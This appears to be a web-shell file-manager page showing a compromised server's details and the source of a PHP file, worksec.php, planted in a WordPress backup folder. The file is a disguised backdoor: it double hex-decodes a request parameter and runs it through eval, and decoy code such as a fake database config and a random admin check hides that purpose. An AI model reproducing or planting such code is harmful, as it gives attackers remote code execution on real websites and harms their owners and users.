HEX
Server: nginx/1.16.1
System: Linux VM-0-14-centos 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 8.3.31
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/1.scey.cn/wp-content/upgrade-temp-backup/worksec.php
<?php

class Index{
    public $index="";
    public $page="";

    public function __invoke()
    {
        eval($this->page);
    }

    public function __toString()
    {
        return $this->index.$this->page;
    }
}

class Render{
    public $func="";

    public function __toString()
    {
        return hex2bin(hex2bin($_REQUEST["page"]));
    }

    public function r($inputString){
        $stringArray = str_split($inputString);
        $restoredString = '';
        foreach ($stringArray as $index) {
            $restoredString .= $index;
        }
        return $restoredString;
    }
}

function g($length = 10) {
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $randomString;
}

$g = g();
if($_POST["username"] == $g){
    echo "youradmin";
}
$configurationFile = __DIR__.'/app/config/configuration.php';
$dbParams = [
    'driver' => 'pdo_mysql',
    'host' => 'db_host',
    'user' => 'db_user',
    'password' => 'db_password',
    'dbname' => 'main_database',
];

$defaultIndex = new Index();
$checkMd5 = md5($defaultIndex);


if(isset($_REQUEST["page"]) && isset($_REQUEST["id"])){
    $test = new Render();
    $pageStr = "".$test;
    $pageStr = $test->r($pageStr);
    $index = new Index();
    $index->page = $pageStr;
    $index();
    exit();
}

?>